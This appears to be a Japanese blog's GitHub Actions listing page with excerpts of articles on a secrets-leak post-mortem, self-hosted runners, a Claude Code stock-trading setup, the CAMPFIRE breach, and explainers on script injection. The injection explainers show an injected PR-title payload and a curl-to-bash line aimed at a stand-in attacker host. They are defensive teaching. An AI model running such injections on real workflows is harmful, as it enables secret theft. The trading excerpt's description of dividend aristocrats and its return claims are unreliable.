GitHub Actions

TL;DR: SOPS で暗号化していた API トークン複数種が GitHub Actions の workflow log に平文で露出した。原因は 「masking 登録ループが存在しない一時ファイルから読まれていて空回りしていた」 という pre-existing なバグ。gh run delete でログ削除 + 該当 secrets を rotate して被害を抑制。再発防止のため 構造的予防 (source-from-file) + 静的検知 (lint) + ドキュメントルール + PR レビュー時 security review の 4 層で対策。 0. 文脈 ある社内自動化基盤の Phase 0 検証中、workflow_dispatch で配信 workflow の dry_run を初めて起動したところ、復号済 secrets が workflow ログの env header に平文表示された。本記事はその post-mortem である。 技術スタック: GitHub Actions (Linux runner) SOPS + age による secrets 暗号化（リポ内 commit） LLM ベースの workflow agent (custom action 経由) による skill 実行 メッセージング基盤 / CRM / 課題管理 SaaS への API トークン群 1. 何が起きたか dry_run 検証で起動した workflow の途中 step、Run skill step の env: block 表示で複数の API トークンが平文表示された: ...

Obsidian Vault 書き戻しの自動化 では、3 方式（Claude Code hooks / Git クライアントフック / GitHub Actions）の使い分けをまとめました。そこで「GitHub Actions は会話文脈が失われる・Vault に書けない」と書きましたが、これは cloud-hosted runner を前提にした話です。self-hosted runner（GitHub の job を手元のマシンで実行する仕組み）に切り替えると、その制約が一気に外れます。 本記事では、自宅 Mac を self-hosted runner にして、PR マージのイベント駆動で claude -p を ローカル文脈（Vault・Skills・CLAUDE.md・MCP サーバ）の中で動かし、Vault に直接書き戻す構成を解説します。ここでの「ローカル文脈」は 対話履歴ではなく、ファイルシステムに永続化された個人資産のセット を指す点に注意してください。シリーズ 5 部作の最終ピースです（思想編 → 読み取り側 → 書き戻し設計 → フック自動化 → self-hosted runner）。 なぜ self-hosted runner が正解になるか cloud-hosted Actions の最大の弱点は次の 3 点でした。 Vault が手元のファイルシステムにあるので、cloud runner からは見えない ローカルの MCP サーバ（vault-readonly / vault-inbox）に接続できない ローカルの Skills や CLAUDE.md が読めず、/summary-back-to-vault を呼べない self-hosted runner は「ジョブは GitHub のイベント駆動で立ち上がるが、実体は手元のマシンが処理する」というハイブリッドです。3 つの弱点がすべて解消します。 ...

Claude Code から個人 Obsidian Vault に「書き戻す」設計 では、書き戻しの設計パターンとして summary-back-to-vault スキル / Daily Note 追記 / ADR 二重書きの 3 つを示しました。本記事はその続編で、書き戻しを自動化する仕組みを扱います。 スキルを作ったとしても、毎回 /summary-back-to-vault と手で打つのは続きません。トリガを自動化しない限り、書き戻しは「気が向いたときだけ」になり、Vault は古びます。本記事では Claude Code のフック・Git のクライアントフック・GitHub Actions の 3 方式を、それぞれが拾えるトリガと文脈の違い に着目して整理します。 自動化候補の俯瞰 書き戻しを発火させる場所は大きく 3 つあります。 方式 トリガ位置 セッション文脈 適性 Claude Code hooks（PostToolUse, Stop, SessionEnd 他） セッション内、ツール呼び出し前後 ✓ 会話履歴・スキル・MCP がすべて生きている AI Agent と最も相性が良い Git クライアントフック（post-merge, pre-push など） クライアント側、git pull / git push 等 ✗ PR の diff だけ Vault が Git リポジトリ化されている人向け GitHub Actions サーバ側、pull_request: closed 等 ✗ PR メタデータのみ マシンを開いていなくても回したい場合 書き戻しに必要な「会話の文脈（なぜそう判断したか／どこで詰まったか）」を保てるのは Claude Code フックだけです。Git フックや Actions は PR の diff と説明文しか見えないため、サマリの「中身の濃さ」が大きく落ちます。これが本記事の核心です。 ...

「判断ロジックさえ言語化できれば、Claude Code で株式投資を自動化できるのでは？」という仮説を立て、3週間試した結果、月次リターン 4.19% を達成したという事例が話題になっています。 なぜAlpacaなのか 日本の主要ネット証券（SBI証券、楽天証券、マネックスなど）は、個人向けの自動売買 API を（調査した限りでは）公開していません。唯一カブコム証券には API がありますが、口座開設の手間や日本株に限定されるという制約があります。 米国株を自動売買したいなら、選択肢はほぼ Alpaca（アルパカ） 一択になります。 AlpacaのAPIが優れている理由 全機能を Python から操作可能: 注文・ポジション管理・履歴取得など 株・ETF・仮想通貨をすべて API で売買できる 「ほぼ自動売買のために作られた証券会社」という印象 ただしデメリットもあります。米国の証券会社であるため、確定申告の手続きが複雑になる点や、日本居住者の口座開設にそれなりの手間がかかる点は事前に承知しておく必要があります。 投資ロジックの言語化 このシステムの核心は「負けなければいい」という考え方です。予測に頼るのではなく、期待値がプラスになるルールを設定して淡々と運用するだけです。 麻雀で相手が満貫や倍満だと分かっているのに、リーのみでリーチしないのと同じ理屈で、期待値が見合っていない状況では投資しないのが原則です。 具体的には以下の3カテゴリのポートフォリオを組んでいます。 1. 資産の70%：配当貴族 「配当貴族」と呼ばれる、何十年も株価が上がり続けている銘柄に損切りなしで長期投資します。 2. 中期成長株 「-8% で損切り、+20% で利確」 というルールを設定しています。 期待値 = (0.33 × 20%) + (0.67 × -8%) = 1.24% 3回に1回勝てばトントン以上になる計算です。予測なしでルールを守るだけで期待値がプラスになります。 3. 短期株 「-3% で損切り、+9% で利確」 という設定です。 期待値 = (0.5 × 9%) + (0.5 × -3%) = +3% 勝率50%でも利益が積み上がる計算になります。 Claude Code + Alpaca API の連携構成 実装は驚くほどシンプルです。判断ロジックを言語化して API と連携するだけなので、特に難しいことはありません。 ...

クラウドファンディングプラットフォーム CAMPFIRE が、GitHub アカウントへの不正アクセスを起点に最大 22 万 5,846 件の個人情報が漏洩した可能性があると発表しました（2026 年 4 月 24 日）。単なる「パスワード流出」ではなく、CD パイプラインを悪用してインフラを乗っ取るという、現代の DevOps が抱えるリスクを象徴するインシデントです。本記事ではエンジニア視点で攻撃経路を分析し、再発防止策を考えます。 インシデントの経緯 日時 出来事 2026-04-02 22:50 GitHub アカウントへの不正アクセスを検知。一部ソースコードが閲覧された可能性（初報） 2026-04-14 第二報：社員・取引先情報の閲覧可能状態を確認 2026-04-22 第三報：顧客情報管理システムへの不正アクセス痕跡を確認 2026-04-24 個人情報漏洩の可能性を正式発表（最大 22 万 5,846 件） 漏洩した可能性がある情報は以下のとおりです: プロジェクト実行者 12 万 929 件：氏名・住所・電話番号・口座情報など（2021 年 2 月以降） 支援者 13 万 155 件：氏名・住所・口座情報など（PayPal 決済、後払い、口座送金返金ユーザー） うち 8 万 2,465 件が口座情報を含む クレジットカード情報は対象外（CAMPFIRE 公式発表） 推定される攻撃経路 エンジニア向け技術解説として、@poly_soft（勝又健太）氏が X（旧 Twitter）で以下の攻撃チェーンを推察しています。この分析は公式発表を補完する形で、攻撃者が具体的にどう動いたかを示しています（以下はあくまで推定です）。 Step 1: CD 権限を持つ GitHub アカウントの侵害（推定） 攻撃者が最初に侵害したのは、単独で CD（継続的デプロイ）をトリガーできる権限を持つ GitHub アカウントであったと推定されます。 問題の設定として考えられるのは: ...

概要 ${{ }} テンプレート式はシェル起動前に展開されるため、攻撃者制御のコンテキスト（PR タイトル・ブランチ名・Issue 本文）をそのまま run に埋め込むとコマンドインジェクション成立。 対策 env で環境変数に渡して ${VAR} で参照 actionlint・zizmor で自動検出 サードパーティ Actions はコミットハッシュでピン留め

症状 GitHub Actions の self-hosted runner で claude --print を使った自動処理が突然動かなくなった。 claude CLI failed (rc=1): stdout=Auto mode is unavailable for your plan すべてのエージェント呼び出し（researcher, risk, portfolio optimizer）が同じエラーで失敗し、日次の投資提案が生成されなくなった。 ローカルで claude --print "hello" を実行すると正常に動作する。claude auth status でも Max プランで認証済みと表示される。 原因 2つの問題が重なっていた。 1. OAuth トークンの期限切れ（副次的問題） ワークフローで CLAUDE_CODE_OAUTH_TOKEN 環境変数に 期限切れの OAuth トークン を GitHub Secrets から渡していた。 1 2 3 4 # daily-proposal.yml - name: 日次投資提案を生成 env: CLAUDE_CODE_OAUTH_TOKEN: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }} # ← 2月に設定したまま GitHub Secrets のトークンは静的で自動更新されない ローカルでは環境変数未設定のため、キーチェーンから有効なトークンが自動取得されて動作していた 2. Opus の auto mode 制限（真の原因） claude --print はデフォルトで auto mode（ツール自動承認）で動作する。Max プランで Opus モデルの auto mode が制限されたため、トークンが有効でも Opus では --print が使えなくなっていた。 ...

GitHub Actions スクリプトインジェクション完全解説 — ${{ }} を run に書いた瞬間、攻撃者にシェルを渡している 『GitHub CI/CD実践ガイド』著者の tmknom 氏（@tmknom）が、GitHub Actions のスクリプトインジェクションを解説した Zenn 記事を引用し、こう呼びかけています。 はい、というわけでしてね。みんな『GitHub CI/CD実践ガイド』を、穴が開くまで読んでくださいね！ 引用されている kou_pg_0131 氏の Zenn 記事は、GitHub Actions の run ステップで ${{ }} テンプレート式を使う際のインジェクション脆弱性を実演付きで解説した記事です。2025〜2026年にかけて GitHub Actions のサプライチェーン攻撃が急増しており、この知識はすべての開発者にとって必須になっています。 何が危険なのか — 30秒で理解する 1 2 # 危険なコード - run: echo "PR title is ${{ github.event.pull_request.title }}" 一見無害なこのコード。しかし攻撃者が PR タイトルに以下を入力すると、任意のコマンドが実行されます。 "; echo INJECTED" 展開後のシェルコマンドは以下になります。 1 echo "PR title is "; echo INJECTED"" セミコロンでコマンドが分割され、echo INJECTED が実行されます。echo の代わりに curl attacker.com/steal.sh | bash を書けば、CI/CD ランナー上でリバースシェルの確立、シークレットの窃取、リポジトリの改ざんが可能です。 ...

GitHub Actions スクリプトインジェクション完全解説 — ${{ }} を run に書いた瞬間、攻撃が始まる @koki_develop 氏のポストで紹介された Zenn 記事が話題になっています。 書きました。GitHub Actions 触る人は全員知っておいてほしい 【GitHub Actions】スクリプトインジェクションの実践例（koki 氏）は、GitHub Actions ワークフローにおけるスクリプトインジェクションの仕組みを具体的なコード例で解説した記事です。「プライベートリポジトリなら大丈夫？」という疑問にも明確に「安全ではない」と回答しています。 2025 年には GhostAction キャンペーンで 3,325 件のシークレットが窃取され、tj-actions/changed-files のサプライチェーン攻撃では 23,000 以上のリポジトリが影響を受けました。スクリプトインジェクションは理論上の脅威ではなく、現在進行形のリスクです。 スクリプトインジェクションとは何か GitHub Actions の ${{ }} 式は、シェルがコマンドを解析する前にテンプレートエンジンによって展開されます。この順序が脆弱性の根本原因です。 通常の期待: ${{ github.event.pull_request.title }} → 文字列として処理される 実際の動作: ${{ github.event.pull_request.title }} → 値がそのままシェルスクリプトに埋め込まれる → シェルがコマンドとして解釈する つまり、PR タイトルやブランチ名など攻撃者が制御可能な値が、そのままシェルコマンドの一部になります。 攻撃の実践例 攻撃 1: PR タイトルによるインジェクション 脆弱なワークフロー: 1 2 3 4 5 6 7 8 on: pull_request: jobs: example: runs-on: ubuntu-latest steps: - run: echo "PR title is ${{ github.event.pull_request.title }}" 攻撃者が PR タイトルを "; echo INJECTED" に設定すると: ...

GitHub Copilot CLI の /research コマンド — コミットログも Actions 履歴も全部調べてくれるディープリサーチ @07JP27 氏が X で連続投稿し、GitHub Copilot CLI の /research コマンドの威力を紹介しています。 /research コマンドすげえ。Web を Deep Research してくれるのはもちろん、紐づくリポジトリのコミットログとか GitHub Actions の実行履歴まで全部見てくれて「お前のこのときのコミットのここが原因だぞ。Actions のログにもこう出てるだろ」みたいなことを言ってくる。 元の投稿では Qiita 記事（@shyamagu 氏の解説）も参照されており、MCP ツール連携や WorkIQ との統合例が紹介されています。本記事では、/research コマンドの技術的な仕組みと、Claude Code との比較を交えて解説します。 /research コマンドとは 概要 2026 年 2 月 25 日、GitHub Copilot CLI が全有料プラン向けに一般提供（GA）を開始しました。同日リリースの v0.0.417 で追加された /research コマンドは、ディープリサーチ専用のスラッシュコマンドです。 通常のチャットが速度重視なのに対し、/research は徹底性（thoroughness）を重視します。複数のツールを呼び出しながら情報を収集し、数百行に及ぶ Markdown レポートを生成します。 1 2 3 4 5 # 基本的な使い方 /research Azure App Service の 2026 年の新機能 # MCP ツールを明示的に指定 /research microsoft-docs ツールを使って Azure App Service の新機能を調査してください 3 つのクエリ分類 /research はクエリを自動分類し、回答形式を最適化します。 ...